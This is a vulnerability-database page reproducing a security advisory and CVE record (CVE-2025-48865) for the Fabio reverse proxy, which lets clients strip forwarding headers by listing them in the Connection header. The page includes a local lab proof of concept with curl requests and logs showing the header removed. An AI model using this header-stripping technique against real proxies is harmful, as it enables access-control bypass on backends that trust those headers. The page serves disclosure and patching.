github - ghsa-q7p4-7xjv-j3wf

GHSA-Q7P4-7XJV-J3WF

Vulnerability from github – Published: 2025-05-29 16:50 – Updated: 2025-05-30 15:25

Summary

Fabio allows HTTP clients to manipulate custom headers it adds

Details

Summary

Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers.

Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities.

However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:

Connection: close, X-Forwarded-Host

Similar critical vulnerabilities have been identified in other web servers and proxies, including CVE-2022-31813 in Apache HTTP Server and CVE-2024-45410 in Traefik.

Details

It was found that the following headers can be removed in this way (i.e. by specifying them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Real-Ip - Forwarded

PoC

The following docker-compose file was used for testing:

version: '3'
services:
  fabio:
    image: fabiolb/fabio
    ports:
      - "3000:9999"
      - "9998:9998"
    volumes:
      - ./fabio.properties:/etc/fabio/fabio.properties

  backend:
    build: .
    ports:
      - "8080:8080"
    environment:
      - PYTHONUNBUFFERED=1

The fabio.properties configuration:

proxy.addr = :9999
ui.addr = :9998
registry.backend = static
registry.static.routes = route add service / http://backend:8080/

A Python container runs a simple HTTP server that logs received headers. The Dockerfile:

FROM python:3.11-slim

WORKDIR /app

COPY app.py .

RUN pip install flask

EXPOSE 8080

CMD ["python", "app.py"]

Python Flask Server

from flask import Flask, request
import sys
import os

sys.stdout.flush()
sys.stderr.flush()
os.environ['PYTHONUNBUFFERED'] = '1'

app = Flask(__name__)

@app.before_request
def log_request_info():
    print("HEADERS:")
    for header_name, header_value in request.headers:
        print(f"   {header_name}: {header_value}")

@app.route("/", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
def hello():
    return f"Hello, World! Method: {request.method}"

@app.route("/<path:path>", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
def catch_all(path):
    return f"Caught path: {path}, Method: {request.method}"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

A normal HTTP request/response pair looks like this:

Request

GET / HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: curl/8.7.1
Accept: */*
Connection: keep-alive

curl command

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \
    $'http://127.0.0.1:3000/'

Response

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.12
Date: Thu, 22 May 2025 23:09:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 25
Connection: close

Hello, World! Method: GET

Server Log

backend-1  | HEADERS:
backend-1  |    Host: 127.0.0.1:3000
backend-1  |    User-Agent: curl/8.7.1
backend-1  |    Accept: */*
backend-1  |    Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1
backend-1  |    X-Forwarded-For: 192.168.65.1
backend-1  |    X-Forwarded-Host: 127.0.0.1:3000
backend-1  |    X-Forwarded-Port: 3000
backend-1  |    X-Forwarded-Proto: http
backend-1  |    X-Real-Ip: 192.168.65.1

Next, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent:

Request

GET / HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: curl/8.7.1
Accept: */*
yeet: 123
Connection: keep-alive, Forwarded

curl command

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \
    $'http://127.0.0.1:3000/'

Response

HTTP/1.1 200 OK
Content-Length: 25
Content-Type: text/html; charset=utf-8
Date: Thu, 22 May 2025 23:42:45 GMT
Server: Werkzeug/3.1.3 Python/3.11.12

Hello, World! Method: GET

Server Logs

backend-1  | HEADERS:
backend-1  |    Host: 127.0.0.1:3000
backend-1  |    User-Agent: curl/8.7.1
backend-1  |    Accept: */*
backend-1  |    X-Forwarded-For: 192.168.65.1
backend-1  |    X-Forwarded-Host: 127.0.0.1:3000
backend-1  |    X-Forwarded-Port: 3000
backend-1  |    X-Forwarded-Proto: http
backend-1  |    X-Real-Ip: 192.168.65.1

The response shows that Fabio's Forwarded header was removed from the request

Impact

If the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass.

This vulnerability has a critical severity rating similar to CVE-2022-31813 (Apache HTTP Server, 9.8) and CVE-2024-45410 (Traefik, 9.3)

Stripping headers like X-Real-IP can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: Versa Concerto RCE.

References

Severity ?

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fabiolb/fabio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-29T16:50:58Z",
    "nvd_published_at": "2025-05-30T07:15:23Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nFabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers.\n\nFabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities.\n\nHowever, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\n```\nConnection: close, X-Forwarded-Host\n```\n\nSimilar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik.\n\n### Details\nIt was found that the following headers can be removed in this way (i.e. by specifying them within a connection header):\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Real-Ip\n- Forwarded\n\n### PoC\nThe following docker-compose file was used for testing:\n```yml\nversion: \u00273\u0027\nservices:\n  fabio:\n    image: fabiolb/fabio\n    ports:\n      - \"3000:9999\"\n      - \"9998:9998\"\n    volumes:\n      - ./fabio.properties:/etc/fabio/fabio.properties\n\n  backend:\n    build: .\n    ports:\n      - \"8080:8080\"\n    environment:\n      - PYTHONUNBUFFERED=1\n```\n\nThe fabio.properties configuration:\n```\nproxy.addr = :9999\nui.addr = :9998\nregistry.backend = static\nregistry.static.routes = route add service / http://backend:8080/\n```\n\nA Python container runs a simple HTTP server that logs received headers.\nThe Dockerfile:\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\nCOPY app.py .\n\nRUN pip install flask\n\nEXPOSE 8080\n\nCMD [\"python\", \"app.py\"]\n```\n\nPython Flask Server\n```python\nfrom flask import Flask, request\nimport sys\nimport os\n\nsys.stdout.flush()\nsys.stderr.flush()\nos.environ[\u0027PYTHONUNBUFFERED\u0027] = \u00271\u0027\n\napp = Flask(__name__)\n\n@app.before_request\ndef log_request_info():\n    print(\"HEADERS:\")\n    for header_name, header_value in request.headers:\n        print(f\"   {header_name}: {header_value}\")\n\n@app.route(\"/\", methods=[\u0027GET\u0027, \u0027POST\u0027, \u0027PUT\u0027, \u0027DELETE\u0027, \u0027PATCH\u0027])\ndef hello():\n    return f\"Hello, World! Method: {request.method}\"\n\n@app.route(\"/\u003cpath:path\u003e\", methods=[\u0027GET\u0027, \u0027POST\u0027, \u0027PUT\u0027, \u0027DELETE\u0027, \u0027PATCH\u0027])\ndef catch_all(path):\n    return f\"Caught path: {path}, Method: {request.method}\"\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=8080, debug=True)\n```\n\nA normal HTTP request/response pair looks like this:\n#### Request \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:3000\nUser-Agent: curl/8.7.1\nAccept: */*\nConnection: keep-alive\n```\n\ncurl command\n```bash\ncurl --path-as-is -i -s -k -X $\u0027GET\u0027 \\\n    -H $\u0027Host: 127.0.0.1:3000\u0027 -H $\u0027User-Agent: curl/8.7.1\u0027 -H $\u0027Accept: */*\u0027 -H $\u0027Connection: keep-alive\u0027 \\\n    $\u0027http://127.0.0.1:3000/\u0027\n```\n#### Response\n```http\nHTTP/1.1 200 OK\nServer: Werkzeug/3.1.3 Python/3.11.12\nDate: Thu, 22 May 2025 23:09:12 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 25\nConnection: close\n\nHello, World! Method: GET\n```\n\nServer Log\n```\nbackend-1  | HEADERS:\nbackend-1  |    Host: 127.0.0.1:3000\nbackend-1  |    User-Agent: curl/8.7.1\nbackend-1  |    Accept: */*\nbackend-1  |    Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1\nbackend-1  |    X-Forwarded-For: 192.168.65.1\nbackend-1  |    X-Forwarded-Host: 127.0.0.1:3000\nbackend-1  |    X-Forwarded-Port: 3000\nbackend-1  |    X-Forwarded-Proto: http\nbackend-1  |    X-Real-Ip: 192.168.65.1\n```\n\nNext, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent:\n#### Request\n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:3000\nUser-Agent: curl/8.7.1\nAccept: */*\nyeet: 123\nConnection: keep-alive, Forwarded\n```\n\ncurl command\n```bash\ncurl --path-as-is -i -s -k -X $\u0027GET\u0027 \\\n    -H $\u0027Host: 127.0.0.1:3000\u0027 -H $\u0027User-Agent: curl/8.7.1\u0027 -H $\u0027Accept: */*\u0027 -H $\u0027Connection: keep-alive, Forwarded\u0027 \\\n    $\u0027http://127.0.0.1:3000/\u0027\n```\n#### Response\n```http\nHTTP/1.1 200 OK\nContent-Length: 25\nContent-Type: text/html; charset=utf-8\nDate: Thu, 22 May 2025 23:42:45 GMT\nServer: Werkzeug/3.1.3 Python/3.11.12\n\nHello, World! Method: GET\n```\n\nServer Logs\n```\nbackend-1  | HEADERS:\nbackend-1  |    Host: 127.0.0.1:3000\nbackend-1  |    User-Agent: curl/8.7.1\nbackend-1  |    Accept: */*\nbackend-1  |    X-Forwarded-For: 192.168.65.1\nbackend-1  |    X-Forwarded-Host: 127.0.0.1:3000\nbackend-1  |    X-Forwarded-Port: 3000\nbackend-1  |    X-Forwarded-Proto: http\nbackend-1  |    X-Real-Ip: 192.168.65.1\n```\n\nThe response shows that Fabio\u0027s `Forwarded` header was removed from the request\n\n### Impact\nIf the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass.\n\nThis vulnerability has a critical severity rating similar to  [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3)\n\nStripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce).\n\n### References\n-  [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) \n-  [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813)\n- [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)",
  "id": "GHSA-q7p4-7xjv-j3wf",
  "modified": "2025-05-30T15:25:57Z",
  "published": "2025-05-29T16:50:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48865"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fabiolb/fabio/commit/fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fabiolb/fabio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fabiolb/fabio/releases/tag/v1.6.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fabio allows HTTP clients to manipulate custom headers it adds"
}

CVE-2025-48865 (GCVE-0-2025-48865)

Vulnerability from cvelistv5 – Published: 2025-05-30 06:14 – Updated: 2025-05-30 12:24

Summary

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-345 - Insufficient Verification of Data Authenticity
CWE-348 - Use of Less Trusted Source

Assigner

GitHub_M

References

URL

Tags

	https://github.com/fabiolb/fabio/security/advisor…	x_refsource_CONFIRM
	https://github.com/fabiolb/fabio/commit/fdaf1e966…	x_refsource_MISC
	https://github.com/fabiolb/fabio/releases/tag/v1.6.6	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	fabiolb	fabio	Affected: < 1.6.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-48865",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-30T12:24:13.107794Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-30T12:24:19.086Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "fabio",
          "vendor": "fabiolb",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.6.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-345",
              "description": "CWE-345: Insufficient Verification of Data Authenticity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-348",
              "description": "CWE-348: Use of Less Trusted Source",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-30T06:14:45.819Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf"
        },
        {
          "name": "https://github.com/fabiolb/fabio/commit/fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/fabiolb/fabio/commit/fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3"
        },
        {
          "name": "https://github.com/fabiolb/fabio/releases/tag/v1.6.6",
          "tags": [
            "x_refsource_MISC"
          ],
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        }
      ],
      "source": {
        "advisory": "GHSA-q7p4-7xjv-j3wf",
        "discovery": "UNKNOWN"
      },
      "title": "Fabio allows HTTP clients to manipulate custom headers it adds"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-48865",
    "datePublished": "2025-05-30T06:14:45.819Z",
    "dateReserved": "2025-05-27T20:14:34.294Z",
    "dateUpdated": "2025-05-30T12:24:19.086Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-Q7P4-7XJV-J3WF

Summary

Details

PoC

Request

Response

Request

Response

Impact

References

CVE-2025-48865 (GCVE-0-2025-48865)

Tags

Sightings

Nomenclature